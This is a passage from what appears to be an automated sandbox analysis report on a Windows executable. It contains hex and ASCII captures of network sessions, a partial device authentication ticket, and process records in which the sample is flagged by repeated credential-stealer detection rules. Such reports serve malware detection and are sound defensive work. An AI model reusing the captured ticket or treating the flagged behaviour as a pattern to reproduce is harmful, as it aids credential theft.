cfL4;desc="?proto=TCP&rtt=1815&min_rtt=1813&rtt_var=685&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=990&delivery_rate=1593016&cwnd=237&unsent_bytes=0&cid=08f288ee5912d55d&ts=1029&x=0"
2024-12-10 01:50:25 UTC	214	IN	Data Raw: 64 30 0d 0a 52 52 44 65 38 48 43 42 49 61 73 63 47 32 47 30 74 47 57 5a 64 4d 4b 41 6a 4a 74 35 34 39 56 44 70 6c 56 31 79 4d 41 4d 41 36 30 65 61 2f 79 46 55 72 73 44 77 32 68 76 45 59 37 6f 53 73 56 62 38 37 69 35 74 55 76 53 34 47 32 58 5a 45 62 6d 38 54 70 66 67 69 70 32 75 4b 78 66 35 55 54 4e 4d 6e 34 5a 30 5a 5a 4a 75 78 4b 32 6f 72 61 72 56 63 47 77 59 5a 78 6b 43 4f 53 37 4c 6e 61 50 66 7a 4b 32 68 41 54 78 47 2f 63 7a 52 30 36 46 6a 46 43 33 52 76 4f 31 6f 71 70 49 30 50 74 79 6b 41 6c 61 75 37 52 70 59 73 41 5a 50 36 79 52 48 75 56 4f 78 6a 4a 2b 47 64 47 57 53 62 73 53 74 71 4b 32 71 31 58 42 73 47 47 63 5a 51 69 56 0d 0a Data Ascii: d0RRDe8HCBIascG2G0tGWZdMKAjJt549VDplV1yMAMA60ea/yFUrsDw2hvEY7oSsVb87i5tUvS4G2XZEbm8Tpfgip2uKxf5UTNMn4Z0ZZJuxK2orarVcGwYZxkCOS7LnaPfzK2hATxG/czR06FjFC3RvO1oqpI0PtykAlau7RpYsAZP6yRHuVOxjJ+GdGWSbsStqK2q1XBsGGcZQiV
2024-12-10 01:50:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.6	49762	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-12-10 01:50:32 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4e 31 53 2b 64 42 54 57 53 45 79 45 62 4e 46 45 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 62 36 61 39 62 61 37 64 30 34 33 34 34 66 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: N1S+dBTWSEyEbNFE.1Context: 5b6a9ba7d04344fd
2024-12-10 01:50:32 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-10 01:50:32 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4e 31 53 2b 64 42 54 57 53 45 79 45 62 4e 46 45 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 62 36 61 39 62 61 37 64 30 34 33 34 34 66 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 51 67 77 78 75 56 75 36 2f 44 6c 4f 47 31 77 76 66 72 2f 6c 4a 45 6d 48 39 4a 34 44 69 68 78 6b 64 65 30 53 52 32 74 74 33 61 48 39 45 42 34 6f 63 78 69 4a 34 7a 46 77 76 49 7a 71 74 50 7a 54 50 66 2b 68 47 35 7a 31 66 4c 79 76 42 61 68 58 5a 32 33 51 71 4e 4a 5a 56 30 30 69 69 37 33 49 6b 63 71 2f 72 31 62 6e 51 4a 67 47 33 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: N1S+dBTWSEyEbNFE.2Context: 5b6a9ba7d04344fd<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAQgwxuVu6/DlOG1wvfr/lJEmH9J4Dihxkde0SR2tt3aH9EB4ocxiJ4zFwvIzqtPzTPf+hG5z1fLyvBahXZ23QqNJZV00ii73Ikcq/r1bnQJgG3
2024-12-10 01:50:32 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4e 31 53 2b 64 42 54 57 53 45 79 45 62 4e 46 45 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 35 62 36 61 39 62 61 37 64 30 34 33 34 34 66 64 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: N1S+dBTWSEyEbNFE.3Context: 5b6a9ba7d04344fd<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-10 01:50:33 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-10 01:50:33 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 41 4e 33 47 45 4a 44 6c 65 6b 6d 5a 41 6b 37 56 66 33 43 39 37 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: AN3GEJDlekmZAk7Vf3C97A.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.6	49811	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-12-10 01:50:47 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 4d 34 6b 38 4d 49 38 72 75 45 4b 41 51 5a 58 37 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 36 32 30 34 64 36 35 36 64 37 32 36 35 39 63 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: M4k8MI8ruEKAQZX7.1Context: a6204d656d72659c
2024-12-10 01:50:47 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-10 01:50:47 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 4d 34 6b 38 4d 49 38 72 75 45 4b 41 51 5a 58 37 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 36 32 30 34 64 36 35 36 64 37 32 36 35 39 63 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 51 67 77 78 75 56 75 36 2f 44 6c 4f 47 31 77 76 66 72 2f 6c 4a 45 6d 48 39 4a 34 44 69 68 78 6b 64 65 30 53 52 32 74 74 33 61 48 39 45 42 34 6f 63 78 69 4a 34 7a 46 77 76 49 7a 71 74 50 7a 54 50 66 2b 68 47 35 7a 31 66 4c 79 76 42 61 68 58 5a 32 33 51 71 4e 4a 5a 56 30 30 69 69 37 33 49 6b 63 71 2f 72 31 62 6e 51 4a 67 47 33 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: M4k8MI8ruEKAQZX7.2Context: a6204d656d72659c<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAQgwxuVu6/DlOG1wvfr/lJEmH9J4Dihxkde0SR2tt3aH9EB4ocxiJ4zFwvIzqtPzTPf+hG5z1fLyvBahXZ23QqNJZV00ii73Ikcq/r1bnQJgG3
2024-12-10 01:50:47 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 4d 34 6b 38 4d 49 38 72 75 45 4b 41 51 5a 58 37 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 61 36 32 30 34 64 36 35 36 64 37 32 36 35 39 63 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: M4k8MI8ruEKAQZX7.3Context: a6204d656d72659c<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-10 01:50:48 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-10 01:50:48 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 72 33 69 6f 56 47 79 49 4b 45 57 6b 50 54 4d 34 79 51 34 63 6a 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: r3ioVGyIKEWkPTM4yQ4cjA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	49944	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-12-10 01:51:10 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 31 74 59 38 6e 61 33 51 71 45 61 63 4c 42 32 5a 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 31 31 38 62 38 62 35 61 38 31 66 33 61 39 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 1tY8na3QqEacLB2Z.1Context: d118b8b5a81f3a9d
2024-12-10 01:51:10 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-10 01:51:10 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 31 74 59 38 6e 61 33 51 71 45 61 63 4c 42 32 5a 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 31 31 38 62 38 62 35 61 38 31 66 33 61 39 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 51 67 77 78 75 56 75 36 2f 44 6c 4f 47 31 77 76 66 72 2f 6c 4a 45 6d 48 39 4a 34 44 69 68 78 6b 64 65 30 53 52 32 74 74 33 61 48 39 45 42 34 6f 63 78 69 4a 34 7a 46 77 76 49 7a 71 74 50 7a 54 50 66 2b 68 47 35 7a 31 66 4c 79 76 42 61 68 58 5a 32 33 51 71 4e 4a 5a 56 30 30 69 69 37 33 49 6b 63 71 2f 72 31 62 6e 51 4a 67 47 33 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 1tY8na3QqEacLB2Z.2Context: d118b8b5a81f3a9d<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAQgwxuVu6/DlOG1wvfr/lJEmH9J4Dihxkde0SR2tt3aH9EB4ocxiJ4zFwvIzqtPzTPf+hG5z1fLyvBahXZ23QqNJZV00ii73Ikcq/r1bnQJgG3
2024-12-10 01:51:10 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 31 74 59 38 6e 61 33 51 71 45 61 63 4c 42 32 5a 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 64 31 31 38 62 38 62 35 61 38 31 66 33 61 39 64 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 1tY8na3QqEacLB2Z.3Context: d118b8b5a81f3a9d<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-10 01:51:10 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-10 01:51:10 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 45 4c 59 70 45 2f 4a 73 58 45 4b 63 59 53 70 6b 7a 73 4d 78 4b 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: ELYpE/JsXEKcYSpkzsMxKA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.6	50022	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-12-10 01:51:42 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 44 30 4d 44 4e 66 6f 33 5a 55 53 4c 59 58 42 53 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 30 65 30 38 35 31 39 63 61 34 34 31 63 66 64 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: D0MDNfo3ZUSLYXBS.1Context: 10e08519ca441cfd
2024-12-10 01:51:42 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-10 01:51:42 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 44 30 4d 44 4e 66 6f 33 5a 55 53 4c 59 58 42 53 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 30 65 30 38 35 31 39 63 61 34 34 31 63 66 64 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 51 67 77 78 75 56 75 36 2f 44 6c 4f 47 31 77 76 66 72 2f 6c 4a 45 6d 48 39 4a 34 44 69 68 78 6b 64 65 30 53 52 32 74 74 33 61 48 39 45 42 34 6f 63 78 69 4a 34 7a 46 77 76 49 7a 71 74 50 7a 54 50 66 2b 68 47 35 7a 31 66 4c 79 76 42 61 68 58 5a 32 33 51 71 4e 4a 5a 56 30 30 69 69 37 33 49 6b 63 71 2f 72 31 62 6e 51 4a 67 47 33 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: D0MDNfo3ZUSLYXBS.2Context: 10e08519ca441cfd<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAQgwxuVu6/DlOG1wvfr/lJEmH9J4Dihxkde0SR2tt3aH9EB4ocxiJ4zFwvIzqtPzTPf+hG5z1fLyvBahXZ23QqNJZV00ii73Ikcq/r1bnQJgG3
2024-12-10 01:51:42 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 44 30 4d 44 4e 66 6f 33 5a 55 53 4c 59 58 42 53 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 31 30 65 30 38 35 31 39 63 61 34 34 31 63 66 64 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: D0MDNfo3ZUSLYXBS.3Context: 10e08519ca441cfd<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-10 01:51:43 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-10 01:51:43 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 68 33 34 33 53 79 6a 70 64 55 57 4d 4e 4d 53 64 2f 73 4a 6d 32 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: h343SyjpdUWMNMSd/sJm2A.0Payload parsing failed.

Target ID:	0
Start time:	20:50:00
Start date:	09/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x90000
File size:	1'890'304 bytes
MD5 hash:	D7229A6C265F82BC80E0908656B99344
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2237871217.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2240046403.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2238596385.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2165412620.0000000000BA0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2240167156.0000000000BAA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2238110756.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2239504789.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2238832656.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2239744184.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2239268803.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2237491903.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2239058013.0000000000BA1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:50:37
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	20:50:37
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2092 --field-trial-handle=1896,i,9604878912781494424,10388162517610597454,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	20:50:43
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff684c40000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	20:50:43
Start date:	09/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
